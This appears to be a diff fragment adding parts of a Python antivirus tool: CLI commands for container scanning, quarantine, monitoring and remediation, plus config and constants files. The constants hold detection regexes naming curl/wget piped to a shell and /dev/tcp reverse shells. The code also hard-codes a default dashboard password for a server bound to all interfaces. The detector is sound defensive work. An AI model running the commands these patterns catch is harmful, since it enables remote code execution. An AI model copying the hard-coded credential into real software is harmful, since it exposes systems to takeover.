console.print(table) + console.print( + f"\n[bold red]🚨 {len(result.threats)} suspicious connection(s) found.[/bold red]" + ) + + +# =================================================================== +# scan-containers +# =================================================================== +@main.command("scan-containers") +@click.option( + "--runtime", + type=click.Choice(["all", "docker", "podman", "lxc"]), + default="all", + help="Container runtime to scan.", +) +@click.option("--container", default=None, help="Scan a specific container by ID or name.") +@click.option("--include-stopped", is_flag=True, help="Include stopped containers.") +@click.pass_obj +def scan_containers(cfg: Config, runtime: str, container: Optional[str], include_stopped: bool) -> None: + """Scan Docker/Podman/LXC containers for threats. + + Detects cryptominers, malware, reverse shells, misconfigurations, + and suspicious SUID binaries inside running containers. + + \b + Examples + -------- + ayn-antivirus scan-containers + ayn-antivirus scan-containers --runtime docker + ayn-antivirus scan-containers --container my-web-app + """ + from ayn_antivirus.scanners.container_scanner import ContainerScanner + + print_banner() + + scanner = ContainerScanner() + + if not scanner.available_runtimes: + console.print("[yellow]\u26a0 No container runtimes found (docker/podman/lxc)[/yellow]") + console.print("[dim]Install Docker, Podman, or LXC to use container scanning.[/dim]") + return + + console.print(f"[cyan]\U0001f433 Available runtimes:[/cyan] {', '.join(scanner.available_runtimes)}") + + if container: + console.print(f"\n[bold]Scanning container: {container}[/bold]") + else: + console.print(f"\n[bold]Scanning {runtime} containers\u2026[/bold]") + + with Progress( + SpinnerColumn(), + TextColumn("[progress.description]{task.description}"), + BarColumn(), + TimeElapsedColumn(), + console=console, + ) as progress: + task = progress.add_task("Scanning containers\u2026", total=None) + if container: + result = scanner.scan_container(container) + else: + result = scanner.scan(runtime) + progress.update(task, completed=100, total=100) + + # -- Containers table -- + if result.containers: + console.print(f"\n[bold green]\U0001f4e6 Containers Found: {result.containers_found}[/bold green]") + table = Table(title="Containers", box=box.ROUNDED, border_style="blue") + table.add_column("ID", style="cyan", max_width=12) + table.add_column("Name", style="white") + table.add_column("Image", style="dim") + table.add_column("Runtime", style="magenta") + table.add_column("Status") + table.add_column("IP", style="dim") + for c in result.containers: + sc = "green" if c.status == "running" else "red" if c.status == "stopped" else "yellow" + table.add_row( + c.container_id[:12], c.name, c.image[:40], c.runtime, + f"[{sc}]{c.status}[/{sc}]", + c.ip_address or "-", + ) + console.print(table) + + # -- Threats table -- + if result.threats: + console.print(f"\n[bold red]\U0001f6a8 Threats Found: {len(result.threats)}[/bold red]") + tt = Table(title="Container Threats", box=box.ROUNDED, border_style="red") + tt.add_column("Container", style="cyan") + tt.add_column("Threat", style="white") + tt.add_column("Type", style="magenta") + tt.add_column("Severity") + tt.add_column("Details", max_width=60) + sev_colors = {"CRITICAL": "red", "HIGH": "yellow", "MEDIUM": "blue", "LOW": "green"} + for t in result.threats: + sc = sev_colors.get(t.severity, "white") + tt.add_row( + t.container_name, t.threat_name, t.threat_type, + f"[{sc}]{t.severity}[/{sc}]", + t.details[:60], + ) + console.print(tt) + else: + console.print("\n[bold green]\u2705 No threats detected in containers.[/bold green]") + + if result.errors: + console.print(f"\n[yellow]\u26a0 Errors: {len(result.errors)}[/yellow]") + for err in result.errors: + console.print(f" [dim]\u2022 {err}[/dim]") + + console.print( + f"\n[dim]Scan completed in {result.duration_seconds:.1f}s | " + f"Containers scanned: {result.containers_scanned}/{result.containers_found}[/dim]" + ) + + +# =================================================================== +# update +# =================================================================== +@main.command() +@click.option("--force", is_flag=True, help="Force re-download even if signatures are fresh.") +@click.pass_obj +def update(cfg: Config, force: bool) -> None: + """Update threat signatures from all configured feeds. + + Downloads the latest YARA rules, hash databases, and threat intelligence + feeds. Requires network access and (optionally) API keys configured in + .env or config.yaml. + """ + from ayn_antivirus.signatures.manager import SignatureManager + + print_banner() + + console.print( + Panel( + "[bold]Updating threat signatures…[/bold]", + title="[bold cyan]Signature Updater[/bold cyan]", + border_style="cyan", + ) + ) + + mgr = SignatureManager(cfg) + + feed_names = mgr.feed_names + feed_results = {} + errors = [] + + with make_progress() as progress: + task = progress.add_task("Updating feeds…", total=len(feed_names)) + for name in feed_names: + progress.update(task, description=f"Updating {name}…") + try: + stats = mgr.update_feed(name) + feed_results[name] = stats + except Exception as exc: + feed_results[name] = {"error": str(exc)} + errors.append(name) + progress.advance(task) + + # --- Per-feed status table --- + table = Table( + title="Feed Update Results", + box=box.ROUNDED, + show_lines=True, + ) + table.add_column("Feed", style="cyan") + table.add_column("Status", width=10) + table.add_column("Fetched", justify="right") + table.add_column("Hashes", justify="right") + table.add_column("IPs", justify="right") + table.add_column("Domains", justify="right") + table.add_column("URLs", justify="right") + + total_new = 0 + for name, stats in feed_results.items(): + if "error" in stats: + table.add_row(name, "[red]ERROR[/red]", "-", "-", "-", "-", "-") + else: + inserted = stats.get("inserted", 0) + total_new += inserted + table.add_row( + name, + "[green]OK[/green]", + str(stats.get("fetched", 0)), + str(stats.get("hashes", 0)), + str(stats.get("ips", 0)), + str(stats.get("domains", 0)), + str(stats.get("urls", 0)), + ) + + console.print() + console.print(table) + + status_msg = ( + f"[green]All {len(feed_names)} feeds updated — {total_new} new entries.[/green]" + if not errors + else f"[yellow]{len(feed_names) - len(errors)}/{len(feed_names)} feeds updated, " + f"{len(errors)} error(s).[/yellow]" + ) + + console.print( + Panel( + f"{status_msg}\n[bold]Database:[/bold] {cfg.db_path}", + title="✅ [bold green]Update Complete[/bold green]" if not errors + else "⚠️ [bold yellow]Update Partial[/bold yellow]", + border_style="green" if not errors else "yellow", + ) + ) + + mgr.close() + + +# =================================================================== +# quarantine (sub-group) +# =================================================================== +@main.group() +@click.pass_obj +def quarantine(cfg: Config) -> None: + """Manage the quarantine vault. + + Quarantined files are encrypted and isolated. Use subcommands to list, + inspect, restore, or permanently delete quarantined items. + """ + pass + + +def _get_vault(cfg: Config): + """Lazily create a QuarantineVault from config.""" + from ayn_antivirus.quarantine.vault import QuarantineVault + return QuarantineVault(cfg.quarantine_path) + + +@quarantine.command("list") +@click.pass_obj +def quarantine_list(cfg: Config) -> None: + """List all quarantined items.""" + print_banner() + + vault = _get_vault(cfg) + + console.print( + Panel( + f"[bold]Quarantine path:[/bold] {cfg.quarantine_path}", + title="[bold cyan]Quarantine Vault[/bold cyan]", + border_style="cyan", + ) + ) + + items = vault.list_quarantined() + if not items: + console.print("[dim]Quarantine vault is empty.[/dim]") + return + + table = Table(box=box.ROUNDED, show_lines=True) + table.add_column("ID", style="dim", width=34) + table.add_column("Threat", style="red") + table.add_column("Original Path", style="cyan", max_width=50) + table.add_column("Quarantined At", style="white") + table.add_column("Size", style="dim", justify="right") + + for item in items: + table.add_row( + item.get("id", "?"), + item.get("threat_name", "?"), + item.get("original_path", "?"), + item.get("quarantine_date", "?"), + format_size(item.get("size", 0)), + ) + + console.print(table) + console.print(f"\n[bold]{len(items)}[/bold] item(s) quarantined.") + + +@quarantine.command("restore") +@click.argument("quarantine_id", type=str) +@click.option("--output", type=click.Path(), default=None, help="Restore to this path instead of original.") +@click.pass_obj +def quarantine_restore(cfg: Config, quarantine_id: str, output: Optional[str]) -> None: + """Restore a quarantined item by its ID. + + The file is decrypted and moved back to its original location. + Use `quarantine list` to find the ID. + """ + print_banner() + + vault = _get_vault(cfg) + try: + restored = vault.restore_file(quarantine_id, restore_path=output) + console.print(f"[green]✅ Restored:[/green] {restored}") + except FileNotFoundError as exc: + console.print(f"[red]Error:[/red] {exc}") + raise SystemExit(1) + + +@quarantine.command("delete") +@click.argument("quarantine_id", type=str) +@click.confirmation_option(prompt="Permanently delete this quarantined item?") +@click.pass_obj +def quarantine_delete(cfg: Config, quarantine_id: str) -> None: + """Permanently delete a quarantined item by its ID. + + This action is irreversible. You will be prompted for confirmation. + """ + print_banner() + + vault = _get_vault(cfg) + if vault.delete_file(quarantine_id): + console.print(f"[red]Deleted:[/red] {quarantine_id}") + else: + console.print(f"[yellow]Not found:[/yellow] {quarantine_id}") + + +@quarantine.command("info") +@click.argument("quarantine_id", type=str) +@click.pass_obj +def quarantine_info(cfg: Config, quarantine_id: str) -> None: + """Show detailed information about a quarantined item.""" + print_banner() + + vault = _get_vault(cfg) + try: + info = vault.get_info(quarantine_id) + except FileNotFoundError: + console.print(f"[red]Error:[/red] Quarantine ID not found: {quarantine_id}") + raise SystemExit(1) + + console.print( + Panel( + f"[bold]ID:[/bold] {info.get('id', '?')}\n" + f"[bold]Threat:[/bold] {info.get('threat_name', '?')}\n" + f"[bold]Type:[/bold] {info.get('threat_type', '?')}\n" + f"[bold]Severity:[/bold] {info.get('severity', '?')}\n" + f"[bold]Original path:[/bold] {info.get('original_path', '?')}\n" + f"[bold]Permissions:[/bold] {info.get('original_permissions', '?')}\n" + f"[bold]Size:[/bold] {format_size(info.get('file_size', 0))}\n" + f"[bold]Hash:[/bold] {info.get('file_hash', '?')}\n" + f"[bold]Quarantined:[/bold] {info.get('quarantine_date', '?')}", + title="[bold cyan]Quarantine Item Detail[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# monitor +# =================================================================== +@main.command() +@click.option( + "--paths", + multiple=True, + help="Directories to watch (default: configured scan paths).", +) +@click.option("--daemon", "-d", is_flag=True, help="Run in background as a daemon.") +@click.pass_obj +def monitor(cfg: Config, paths: tuple, daemon: bool) -> None: + """Start real-time file-system monitoring. + + Watches configured directories for new or modified files and scans them + immediately. Uses inotify (Linux) / FSEvents (macOS) via watchdog. + + Press Ctrl+C to stop. + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.monitor.realtime import RealtimeMonitor + + print_banner() + + watch_paths = list(paths) if paths else cfg.scan_paths + + console.print( + Panel( + "[bold]Watching:[/bold] " + ", ".join(watch_paths) + "\n" + "[bold]Mode:[/bold] " + ("daemon" if daemon else "foreground") + "\n" + "[bold]Auto-quarantine:[/bold] " + ("on" if cfg.auto_quarantine else "off"), + title="[bold cyan]Real-Time Monitor[/bold cyan]", + border_style="cyan", + ) + ) + + engine = ScanEngine(cfg) + rt_monitor = RealtimeMonitor(cfg, engine) + rt_monitor.start(paths=watch_paths, recursive=True) + + console.print("[green]\u2705 Real-time monitor active. Press Ctrl+C to stop.[/green]\n") + try: + while rt_monitor.is_running: + time.sleep(1) + except KeyboardInterrupt: + rt_monitor.stop() + console.print("\n[yellow]Monitor stopped.[/yellow]") + + +# =================================================================== +# dashboard +# =================================================================== +@main.command() +@click.option("--host", default=None, help="Dashboard host (default: 0.0.0.0).") +@click.option("--port", type=int, default=None, help="Dashboard port (default: 7777).") +@click.pass_obj +def dashboard(cfg: Config, host: Optional[str], port: Optional[int]) -> None: + """Start the live web security dashboard. + + Opens an aiohttp web server with real-time system metrics, threat + monitoring, container scanning, and signature management. + + \b + Examples + -------- + ayn-antivirus dashboard + ayn-antivirus dashboard --host 127.0.0.1 --port 8080 + """ + print_banner() + + if host: + cfg.dashboard_host = host + if port: + cfg.dashboard_port = port + + console.print( + Panel( + f"[bold cyan]\U0001f310 Starting AYN Antivirus Dashboard[/bold cyan]\n\n" + f" URL: [green]http://{cfg.dashboard_host}:{cfg.dashboard_port}[/green]\n" + f" Press [bold]Ctrl+C[/bold] to stop", + title="\u2694\ufe0f Dashboard", + border_style="cyan", + ) + ) + + try: + from ayn_antivirus.dashboard.server import DashboardServer + + server = DashboardServer(cfg) + server.run() + except KeyboardInterrupt: + console.print("\n[yellow]Dashboard stopped.[/yellow]") + except ImportError as exc: + console.print(f"[red]Missing dependency: {exc}[/red]") + console.print("[dim]Install aiohttp: pip install aiohttp[/dim]") + except Exception as exc: + console.print(f"[red]Dashboard error: {exc}[/red]") + + +# =================================================================== +# report +# =================================================================== +@main.command() +@click.option( + "--format", + "fmt", + type=click.Choice(["text", "json", "html"], case_sensitive=False), + default="text", + show_default=True, + help="Output format for the report.", +) +@click.option( + "--output", + "output_path", + type=click.Path(dir_okay=False), + default=None, + help="Write report to this file instead of stdout.", +) +@click.option( + "--path", + "scan_path", + type=click.Path(exists=True), + default=None, + help="Run a scan and generate a report from results.", +) +@click.pass_obj +def report(cfg: Config, fmt: str, output_path: Optional[str], scan_path: Optional[str]) -> None: + """Generate a scan report. + + Runs a scan (or uses the last cached result) and compiles findings into + a human- or machine-readable report. + + \b + Examples + -------- + ayn-antivirus report + ayn-antivirus report --format json --output /tmp/report.json + ayn-antivirus report --format html --output report.html + ayn-antivirus report --path /var/www --format html --output www_report.html + """ + from ayn_antivirus.core.engine import ScanEngine, ScanResult + from ayn_antivirus.reports.generator import ReportGenerator + + print_banner() + + # Run a fresh scan to populate the report. + engine = ScanEngine(cfg) + if scan_path: + console.print(f"[bold]Scanning:[/bold] {scan_path}") + scan_result = engine.scan_path(scan_path, recursive=True) + else: + # Scan first configured path (or produce an empty result). + target = cfg.scan_paths[0] if cfg.scan_paths else "/" + if Path(target).exists(): + console.print(f"[bold]Scanning:[/bold] {target}") + scan_result = engine.scan_path(target, recursive=True) + else: + scan_result = ScanResult() + + gen = ReportGenerator() + + if fmt == "json": + content = gen.generate_json(scan_result) + elif fmt == "html": + content = gen.generate_html(scan_result) + else: + content = gen.generate_text(scan_result) + + if output_path: + gen.save_report(content, output_path) + console.print(f"[green]Report written to:[/green] {output_path}") + else: + out.print(content) + + +# =================================================================== +# status +# =================================================================== +@main.command() +@click.pass_obj +def status(cfg: Config) -> None: + """Show current protection status. + + Displays last scan time, signature freshness, threat counts, quarantine + size, and real-time monitor state at a glance. + """ + print_banner() + + sig_db = Path(cfg.db_path) + sig_status = "[green]up to date[/green]" if sig_db.exists() else "[red]not found[/red]" + sig_modified = ( + datetime.fromtimestamp(sig_db.stat().st_mtime).strftime("%Y-%m-%d %H:%M:%S") + if sig_db.exists() + else "N/A" + ) + + # Use real vault count. + try: + vault = _get_vault(cfg) + quarantine_count = vault.count() + except Exception: + quarantine_count = 0 + + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("Version", __version__) + table.add_row("Signature DB", sig_status) + table.add_row("Signatures Updated", sig_modified) + table.add_row("Last Scan", "[dim]N/A[/dim]") + table.add_row("Threats (last scan)", "[green]0[/green]") + table.add_row("Quarantined Items", str(quarantine_count)) + table.add_row( + "Real-Time Monitor", + "[green]active[/green]" if cfg.enable_realtime_monitor else "[dim]inactive[/dim]", + ) + table.add_row("Auto-Quarantine", "[green]on[/green]" if cfg.auto_quarantine else "[dim]off[/dim]") + table.add_row("YARA Engine", "[green]enabled[/green]" if cfg.enable_yara else "[dim]disabled[/dim]") + table.add_row("Heuristics", "[green]enabled[/green]" if cfg.enable_heuristics else "[dim]disabled[/dim]") + + console.print( + Panel( + table, + title="[bold cyan]Protection Status[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# config +# =================================================================== +@main.command("config") +@click.option("--show", is_flag=True, default=True, help="Display current configuration.") +@click.option("--set", "set_key", nargs=2, type=str, default=None, help="Set a config value: KEY VALUE.") +@click.pass_obj +def config_cmd(cfg: Config, show: bool, set_key: Optional[tuple]) -> None: + """Show or edit the current configuration. + + Without flags, prints the active configuration as a table. Use --set to + change a value (persisted to ~/.ayn-antivirus/config.yaml). + + \b + Examples + -------- + ayn-antivirus config + ayn-antivirus config --set auto_quarantine true + ayn-antivirus config --set scan_schedule '0 3 * * *' + """ + print_banner() + + if set_key: + key, value = set_key + + VALID_CONFIG_KEYS = { + "scan_paths", "exclude_paths", "quarantine_path", "db_path", + "log_path", "auto_quarantine", "scan_schedule", "max_file_size", + "enable_yara", "enable_heuristics", "enable_realtime_monitor", + "dashboard_host", "dashboard_port", "dashboard_db_path", + "api_keys", + } + if key not in VALID_CONFIG_KEYS: + console.print(f"[red]Invalid config key: {key}[/red]") + console.print(f"[dim]Valid keys: {', '.join(sorted(VALID_CONFIG_KEYS))}[/dim]") + return + + config_file = Path.home() / ".ayn-antivirus" / "config.yaml" + config_file.parent.mkdir(parents=True, exist_ok=True) + + import yaml + + data = {} + if config_file.exists(): + data = yaml.safe_load(config_file.read_text()) or {} + + # Coerce booleans / ints + if value.lower() in ("true", "false"): + value = value.lower() == "true" + else: + try: + value = int(value) + except ValueError: + pass + + data[key] = value + config_file.write_text(yaml.dump(data, default_flow_style=False)) + console.print(f"[green]Set[/green] [bold]{key}[/bold] = {value}") + console.print(f"[dim]Saved to {config_file}[/dim]") + return + + # Show current config + table = Table(box=box.SIMPLE_HEAVY, show_header=False, padding=(0, 2)) + table.add_column("Key", style="bold", width=24) + table.add_column("Value") + + table.add_row("scan_paths", ", ".join(cfg.scan_paths)) + table.add_row("exclude_paths", ", ".join(cfg.exclude_paths)) + table.add_row("quarantine_path", cfg.quarantine_path) + table.add_row("db_path", cfg.db_path) + table.add_row("log_path", cfg.log_path) + table.add_row("auto_quarantine", str(cfg.auto_quarantine)) + table.add_row("scan_schedule", cfg.scan_schedule) + table.add_row("max_file_size", format_size(cfg.max_file_size)) + table.add_row("enable_yara", str(cfg.enable_yara)) + table.add_row("enable_heuristics", str(cfg.enable_heuristics)) + table.add_row("enable_realtime_monitor", str(cfg.enable_realtime_monitor)) + table.add_row( + "api_keys", + ", ".join(f"{k}=***" for k in cfg.api_keys) if cfg.api_keys else "[dim](none)[/dim]", + ) + + console.print( + Panel( + table, + title="[bold cyan]Active Configuration[/bold cyan]", + border_style="cyan", + ) + ) + + +# =================================================================== +# fix +# =================================================================== +@main.command() +@click.option("--all", "fix_all", is_flag=True, help="Auto-remediate all detected threats.") +@click.option("--threat-id", type=int, default=None, help="Remediate a specific threat by ID.") +@click.option("--dry-run", is_flag=True, help="Preview actions without making changes.") +@click.pass_obj +def fix(cfg: Config, fix_all: bool, threat_id: Optional[int], dry_run: bool) -> None: + """Auto-patch and remediate detected threats. + + Runs a quick scan to find threats, then applies automatic remediation: + quarantine malicious files, kill rogue processes, remove malicious cron + entries, and clean persistence mechanisms. + + \b + Examples + -------- + ayn-antivirus fix --all + ayn-antivirus fix --all --dry-run + """ + from ayn_antivirus.core.engine import ScanEngine + from ayn_antivirus.remediation.patcher import AutoPatcher + + print_banner() + + if not fix_all and threat_id is None: + console.print("[red]Error:[/red] Specify --all or --threat-id <ID>.") + raise SystemExit(1) + + mode = "dry-run" if dry_run else "live" + scope = f"threat #{threat_id}" if threat_id else "all threats" + + console.print( + Panel( + f"[bold]Mode:[/bold] {mode}\n" + f"[bold]Scope:[/bold] {scope}", + title="[bold cyan]Remediation Engine[/bold cyan]", + border_style="cyan", + ) + ) + + # --- Run a quick scan to find threats --- + engine = ScanEngine(cfg) + + console.print("\n[bold]Running quick scan to identify threats…[/bold]") + scan_result = engine.quick_scan() + + threats = scan_result.threats + if not threats: + console.print( + Panel( + "[green]No threats found — nothing to remediate.[/green]", + title="✅ [bold green]System Clean[/bold green]", + border_style="green", + ) + ) + return + + if threat_id is not None: + if threat_id < 1 or threat_id > len(threats): + console.print(f"[red]Error:[/red] Threat ID {threat_id} out of range (1-{len(threats)}).") + raise SystemExit(1) + threats = [threats[threat_id - 1]] + + # --- Remediate --- + patcher = AutoPatcher(dry_run=dry_run) + all_actions = [] + + for threat in threats: + threat_dict = { + "threat_type": threat.threat_type.name if hasattr(threat.threat_type, "name") else str(threat.threat_type), + "path": threat.path, + "threat_name": threat.threat_name, + } + actions = patcher.remediate_threat(threat_dict) + all_actions.extend(actions) + + if not all_actions: + console.print("[green]No actionable remediation steps for found threats.[/green]") + return + + # --- Display results --- + table = Table( + title="Remediation Actions" + (" (DRY RUN)" if dry_run else ""), + box=box.ROUNDED, + show_lines=True, + title_style="bold yellow" if dry_run else "bold green", + ) + table.add_column("#", style="dim", width=4) + table.add_column("Action", style="white") + table.add_column("Target", style="cyan", max_width=55) + table.add_column("Status", width=10) + table.add_column("Details", style="dim", max_width=40) + + for idx, action in enumerate(all_actions, 1): + status_text = "[green]done[/green]" if action.success else "[red]failed[/red]" + if action.dry_run: + status_text = "[dim]pending[/dim]" + table.add_row( + str(idx), + action.action, + action.target, + status_text, + action.details[:40] if action.details else "", + ) + + console.print() + console.print(table) + + if dry_run: + console.print("\n[yellow]Dry run — no changes were made.[/yellow]") + else: + succeeded = sum(1 for a in all_actions if a.success) + console.print( + f"\n[green]✅ {succeeded}/{len(all_actions)} remediation action(s) applied.[/green]" + ) diff --git a/ayn-antivirus/ayn_antivirus/config.py b/ayn-antivirus/ayn_antivirus/config.py new file mode 100644 index 0000000..2c62181 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/config.py @@ -0,0 +1,142 @@ +"""Configuration loader for AYN Antivirus.""" + +from __future__ import annotations + +import os +from dataclasses import dataclass, field +from pathlib import Path +from typing import Any, Dict, List, Optional + +import yaml + +from ayn_antivirus.constants import ( + DEFAULT_CONFIG_PATHS, + DEFAULT_DASHBOARD_DB_PATH, + DEFAULT_DASHBOARD_HOST, + DEFAULT_DASHBOARD_PASSWORD, + DEFAULT_DASHBOARD_PORT, + DEFAULT_DASHBOARD_USERNAME, + DEFAULT_DB_PATH, + DEFAULT_LOG_PATH, + DEFAULT_QUARANTINE_PATH, + DEFAULT_SCAN_PATH, + MAX_FILE_SIZE, +) + + +@dataclass +class Config: + """Application configuration, loaded from YAML config files or environment variables.""" + + scan_paths: List[str] = field(default_factory=lambda: [DEFAULT_SCAN_PATH]) + exclude_paths: List[str] = field( + default_factory=lambda: ["/proc", "/sys", "/dev", "/run", "/snap"] + ) + quarantine_path: str = DEFAULT_QUARANTINE_PATH + db_path: str = DEFAULT_DB_PATH + log_path: str = DEFAULT_LOG_PATH + auto_quarantine: bool = False + scan_schedule: str = "0 2 * * *" + api_keys: Dict[str, str] = field(default_factory=dict) + max_file_size: int = MAX_FILE_SIZE + enable_yara: bool = True + enable_heuristics: bool = True + enable_realtime_monitor: bool = False + dashboard_host: str = DEFAULT_DASHBOARD_HOST + dashboard_port: int = DEFAULT_DASHBOARD_PORT + dashboard_db_path: str = DEFAULT_DASHBOARD_DB_PATH + dashboard_username: str = DEFAULT_DASHBOARD_USERNAME + dashboard_password: str = DEFAULT_DASHBOARD_PASSWORD + + @classmethod + def load(cls, config_path: Optional[str] = None) -> Config: + """Load configuration from a YAML file, then overlay environment variables. + + Search order: + 1. Explicit ``config_path`` argument. + 2. /etc/ayn-antivirus/config.yaml + 3. ~/.ayn-antivirus/config.yaml + 4. Environment variables (always applied last as overrides). + """ + data: Dict[str, Any] = {} + + paths_to_try = [config_path] if config_path else DEFAULT_CONFIG_PATHS + for path in paths_to_try: + if path and Path(path).is_file(): + with open(path, "r") as fh: + data = yaml.safe_load(fh) or {} + break + + defaults = cls() + config = cls( + scan_paths=data.get("scan_paths", defaults.scan_paths), + exclude_paths=data.get("exclude_paths", defaults.exclude_paths), + quarantine_path=data.get("quarantine_path", DEFAULT_QUARANTINE_PATH), + db_path=data.get("db_path", DEFAULT_DB_PATH), + log_path=data.get("log_path", DEFAULT_LOG_PATH), + auto_quarantine=data.get("auto_quarantine", False), + scan_schedule=data.get("scan_schedule", "0 2 * * *"), + api_keys=data.get("api_keys", {}), + max_file_size=data.get("max_file_size", MAX_FILE_SIZE), + enable_yara=data.get("enable_yara", True), + enable_heuristics=data.get("enable_heuristics", True), + enable_realtime_monitor=data.get("enable_realtime_monitor", False), + dashboard_host=data.get("dashboard_host", DEFAULT_DASHBOARD_HOST), + dashboard_port=data.get("dashboard_port", DEFAULT_DASHBOARD_PORT), + dashboard_db_path=data.get("dashboard_db_path", DEFAULT_DASHBOARD_DB_PATH), + dashboard_username=data.get("dashboard_username", DEFAULT_DASHBOARD_USERNAME), + dashboard_password=data.get("dashboard_password", DEFAULT_DASHBOARD_PASSWORD), + ) + + # --- Environment variable overrides --- + config._apply_env_overrides() + + return config + + def _apply_env_overrides(self) -> None: + """Override config fields with AYN_* environment variables when set.""" + if os.getenv("AYN_SCAN_PATH"): + self.scan_paths = [p.strip() for p in os.environ["AYN_SCAN_PATH"].split(",")] + + if os.getenv("AYN_QUARANTINE_PATH"): + self.quarantine_path = os.environ["AYN_QUARANTINE_PATH"] + + if os.getenv("AYN_DB_PATH"): + self.db_path = os.environ["AYN_DB_PATH"] + + if os.getenv("AYN_LOG_PATH"): + self.log_path = os.environ["AYN_LOG_PATH"] + + if os.getenv("AYN_AUTO_QUARANTINE"): + self.auto_quarantine = os.environ["AYN_AUTO_QUARANTINE"].lower() in ( + "true", + "1", + "yes", + ) + + if os.getenv("AYN_SCAN_SCHEDULE"): + self.scan_schedule = os.environ["AYN_SCAN_SCHEDULE"] + + if os.getenv("AYN_MALWAREBAZAAR_API_KEY"): + self.api_keys["malwarebazaar"] = os.environ["AYN_MALWAREBAZAAR_API_KEY"] + + if os.getenv("AYN_VIRUSTOTAL_API_KEY"): + self.api_keys["virustotal"] = os.environ["AYN_VIRUSTOTAL_API_KEY"] + + if os.getenv("AYN_MAX_FILE_SIZE"): + self.max_file_size = int(os.environ["AYN_MAX_FILE_SIZE"]) + + if os.getenv("AYN_DASHBOARD_HOST"): + self.dashboard_host = os.environ["AYN_DASHBOARD_HOST"] + + if os.getenv("AYN_DASHBOARD_PORT"): + self.dashboard_port = int(os.environ["AYN_DASHBOARD_PORT"]) + + if os.getenv("AYN_DASHBOARD_DB_PATH"): + self.dashboard_db_path = os.environ["AYN_DASHBOARD_DB_PATH"] + + if os.getenv("AYN_DASHBOARD_USERNAME"): + self.dashboard_username = os.environ["AYN_DASHBOARD_USERNAME"] + + if os.getenv("AYN_DASHBOARD_PASSWORD"): + self.dashboard_password = os.environ["AYN_DASHBOARD_PASSWORD"] diff --git a/ayn-antivirus/ayn_antivirus/constants.py b/ayn-antivirus/ayn_antivirus/constants.py new file mode 100644 index 0000000..14d44f7 --- /dev/null +++ b/ayn-antivirus/ayn_antivirus/constants.py @@ -0,0 +1,161 @@ +"""Constants for AYN Antivirus.""" + +import os + +# --- Default Paths --- +DEFAULT_CONFIG_PATHS = [ + "/etc/ayn-antivirus/config.yaml", + os.path.expanduser("~/.ayn-antivirus/config.yaml"), +] +DEFAULT_SCAN_PATH = "/" +DEFAULT_QUARANTINE_PATH = "/var/lib/ayn-antivirus/quarantine" +DEFAULT_DB_PATH = "/var/lib/ayn-antivirus/signatures.db" +DEFAULT_LOG_PATH = "/var/log/ayn-antivirus/" +DEFAULT_YARA_RULES_DIR = os.path.join(os.path.dirname(__file__), "signatures", "yara_rules") +QUARANTINE_ENCRYPTION_KEY_FILE = "/var/lib/ayn-antivirus/.quarantine.key" + +# --- Database --- +DB_SCHEMA_VERSION = 1 + +# --- Scan Limits --- +SCAN_CHUNK_SIZE = 65536 # 64 KB +MAX_FILE_SIZE = 100 * 1024 * 1024 # 100 MB +HIGH_CPU_THRESHOLD = 80 # percent + +# --- Suspicious File Extensions --- +SUSPICIOUS_EXTENSIONS = [ + ".php", + ".sh", + ".py", + ".pl", + ".rb", + ".js", + ".exe", + ".elf", + ".bin", + ".so", + ".dll", +] + +# --- Crypto Miner Process Names --- +CRYPTO_MINER_PROCESS_NAMES = [ + "xmrig", + "minerd", + "cpuminer", + "ethminer", + "claymore", + "phoenixminer", + "nbminer", + "t-rex", + "gminer", + "lolminer", + "bfgminer", + "cgminer", + "ccminer", + "nicehash", + "excavator", + "nanominer", + "teamredminer", + "wildrig", + "srbminer", + "xmr-stak", + "randomx", + "cryptonight", +] + +# --- Crypto Pool Domains --- +CRYPTO_POOL_DOMAINS = [ + "pool.minergate.com", + "xmrpool.eu", + "nanopool.org", + "mining.pool.observer", + "supportxmr.com", + "pool.hashvault.pro", + "moneroocean.stream", + "minexmr.com", + "herominers.com", + "2miners.com", + "f2pool.com", + "ethermine.org", + "unmineable.com", + "nicehash.com", + "prohashing.com", + "zpool.ca", + "miningpoolhub.com", +] + +# --- Suspicious Mining Ports --- +SUSPICIOUS_PORTS = [ + 3333, + 4444, + 5555, + 7777, + 8888, + 9999, + 14433, + 14444, + 45560, + 45700, +] + +# --- Known Rootkit Files --- +KNOWN_ROOTKIT_FILES = [ + "/usr/lib/libproc.so", + "/usr/lib/libext-2.so", + "/usr/lib/libns2.so", + "/usr/lib/libpam.so.1", + "/dev/shm/.x", + "/dev/shm/.r", + "/tmp/.ICE-unix/.x", + "/tmp/.X11-unix/.x", + "/usr/bin/sourcemask", + "/usr/bin/sshd2", + "/usr/sbin/xntpd", + "/etc/cron.d/.hidden", + "/var/tmp/.bash_history", +] + +# --- Suspicious Cron Patterns --- +SUSPICIOUS_CRON_PATTERNS = [ + r"curl\s+.*\|\s*sh", + r"wget\s+.*\|\s*sh", + r"curl\s+.*\|\s*bash", + r"wget\s+.*\|\s*bash", + r"/dev/tcp/", + r"base64\s+--decode", + r"xmrig", + r"minerd", + r"cryptonight", + r"\bcurl\b.*-o\s*/tmp/", + r"\bwget\b.*-O\s*/tmp/", + r"nohup\s+.*&", + r"/dev/null\s+2>&1", +] + +# --- Malicious Environment Variables --- +MALICIOUS_ENV_VARS = [ + "LD_PRELOAD", + "LD_LIBRARY_PATH", + "LD_AUDIT", + "LD_DEBUG", + "HISTFILE=/dev/null", + "PROMPT_COMMAND", + "BASH_ENV", + "ENV", + "CDPATH", +] + +# ── Dashboard ────────────────────────────────────────────────────────── +DEFAULT_DASHBOARD_HOST = "0.0.0.0" +DEFAULT_DASHBOARD_PORT = 7777 +DEFAULT_DASHBOARD_DB_PATH = "/var/lib/ayn-antivirus/dashboard.db" +DASHBOARD_COLLECTOR_INTERVAL = 10 # seconds between metric samples +DASHBOARD_REFRESH_INTERVAL = 30 # JS auto-refresh seconds +DASHBOARD_MAX_THREATS_DISPLAY = 50 +DASHBOARD_MAX_LOG_LINES = 20 +DASHBOARD_SCAN_HISTORY_DAYS = 30 +DASHBOARD_METRIC_RETENTION_HOURS = 168 # 7 days + +# Dashboard authentication +DEFAULT_DASHBOARD_USERNAME = "admin" +DEFAULT_DASHBOARD_PASSWORD = "ayn@2024" diff --git 